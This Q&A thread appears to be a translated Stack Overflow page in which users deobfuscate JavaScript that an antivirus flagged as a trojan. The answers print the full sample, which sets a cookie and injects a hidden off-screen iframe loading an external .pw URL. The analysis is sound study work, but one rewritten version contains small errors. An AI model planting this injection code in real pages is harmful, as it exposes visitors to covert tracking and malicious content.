解密Javascript恶意软件

时间:2015-11-20 10:57:40

标签: javascript

任何人都可以使这个code更具可读性和可理解性吗?它被我的反病毒检测为特洛伊木马。而我正试图理解它:)

我从question

获得了它
( function() {

})();

修改

哇,我很惊讶有人抱怨我没有在这里添加代码,我故意将它添加到JSfiddle并且没有包含在这里,因为它会触发反病毒并阻止你访问这个页面。我甚至不得不禁用我的AntiVirus来创建JSFiddle

2 个答案:

答案 0 :(得分:3)

将它放在javascript minifier中,然后美化器使它不那么臃肿,更具可读性

var a = ["onload", "getDate", "setDate", "cookie", "=", "; expires=", "toUTCString", "", "=([^;]){1,}", "exec", "split", "ad-cookie", "er2vdr5gdc3ds", "div", "createElement", "http://stats.balw5ezvicz7hka.pw/?id=6947627&keyword=", "&ad_id=Xn5be4", "innerHTML", "<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'><iframe src='", "'></iframe></div>", "appendChild", "body"];

window[a[1]] = function() {
    function f(b, c, d) {
        if (d) {
            var e = new Date;
            e[a[2]](e[a[1]]() + d)
        }
        if (b && c) document[a[3]] =
            b + a[4] + c + (d ? a[5] + e[a[6]]() : a[7]);
        else return !1
    }
    if (function(b) {
            if (b = (new RegExp(b + a[8]))[a[9]](document[a[3]])) b = b[0][a[10]](a[4]);
            else return !1;
            return b[1] ? b[1] : !1
        }(a[11]) != a[12]) {
        f(a[11], a[12], 1);
        var c = document[a[14]](a[13]);
        c[a[17]] = a[18] + (a[15] + 983755 + a[16]) + a[19];
        document[a[21]][a[20]](c)
    }
}

当它解压缩后,它变为:

window.onload = function() {
    function inject(b, c, d) {
        if (d) {
            var date = new Date;
            date.setDate(date.getDate() + d)
        }
        if (b && c) {
            document.cookie = b + "=" + c + (d ? "; expires=" + date.toUTCString() : "");
        }
        else {
            return false
        }
    }
    if (function(var1) {
        if (var1 = (new RegExp(var1 + "=([^;]){1,}")).exec(document.cookie)) 
            var1 = var1[0].split("=");
        else 
            return false;

        return var1[1] ? var1[1] : false
    }("ad-cookie") != "er2vdr5gdc3ds") {
        inject("ad-cookie", "er2vdr5gdc3ds", 1);
        var wrapper = document.createElement("div")
        wrapper.innerHTML = "<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'><iframe src='" + ("http://stats.balw5ezvicz7hka.pw/?id=6947627&keyword=" + 983755 + "&ad_id=Xn5be4") + '></iframe></div>';
        document.body.appendChild(wrapper)
    }
}

这是一个如何模糊代码

的示例

var code = "a".charCodeAt(0); // 97
var hexCode = code.toString(16); // 61
var escaped = "this is letter a: \x61"
document.body.innerHTML = escaped // "this is letter a: a"

答案 1 :(得分:1)

到目前为止,我已成功获得:

var _0xacbd = ["onload", "getDate", "setDate", "cookie", "=", "; expires=", "toUTCString", "", "=([^;]){1,}", "exec", "split", "ad-cookie", "er2vdr5gdc3ds", "div", "createElement", "http://stats.balw5ezvicz7hka.pw/?id=6947627&keyword=", "&ad_id=Xn5be4", "innerHTML", "<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'><iframe src='", "'></iframe></div>", "appendChild", "body"];

window[_0xacbd[0]] = function() {
function _0x78a6x1(_0x78a6x2, _0x78a6x3, _0x78a6x4) {
    if (_0x78a6x4) {
        var _0x78a6x5 = new Date();
        _0x78a6x5[_0xacbd[2]](_0x78a6x5[_0xacbd[1]]() + _0x78a6x4);
    };

if (_0x78a6x2 && _0x78a6x3) {
        document[_0xacbd[3]] = _0x78a6x2 + _0xacbd[4] + _0x78a6x3 + (_0x78a6x4 ? _0xacbd[5] + _0x78a6x5[_0xacbd[6]]() : _0xacbd[7])
    } else {
        return false
    };
}

function _0x78a6x6(_0x78a6x2) {
    var _0x78a6x3 = new RegExp(_0x78a6x2 + _0xacbd[8]);
    var _0x78a6x4 = _0x78a6x3[_0xacbd[9]](document[_0xacbd[3]]);
    if (_0x78a6x4) {
        _0x78a6x4 = _0x78a6x4[0][_0xacbd[10]](_0xacbd[4])
    } else {
        return false
    };
    return _0x78a6x4[1] ? _0x78a6x4[1] : false;
}
var _0x78a6x7 = _0x78a6x6(_0xacbd[11]);
    if (_0x78a6x7 != _0xacbd[12]) {
    _0x78a6x1(_0xacbd[11], _0xacbd[12], 1);
    var _0x78a6x8 = document[_0xacbd[14]](_0xacbd[13]);
    var _0x78a6x9 = 983755;
    var _0x78a6xa = _0xacbd[15] + _0x78a6x9 + _0xacbd[16];
    _0x78a6x8[_0xacbd[17]] = _0xacbd[18] + _0x78a6xa + _0xacbd[19];
    document[_0xacbd[21]][_0xacbd[20]](_0x78a6x8);
    };
};

据我所知,它打开了一个iFrame渲染屏幕,指向恶意网站。也许有一些具有更好的去混淆技能的人可以从中获得更多。

初始var _0xacbd是一个包含字符串的数组。在整个代码中,有_0xacbd[4]_0xacbd[19]等引用。这对应于数组中的值。我目前没有时间匹配它们但是如果数组中的onload字符串是[0],而下一个字符串是[1],依此类推,那么你可以找出正在发生的事情。你有时间。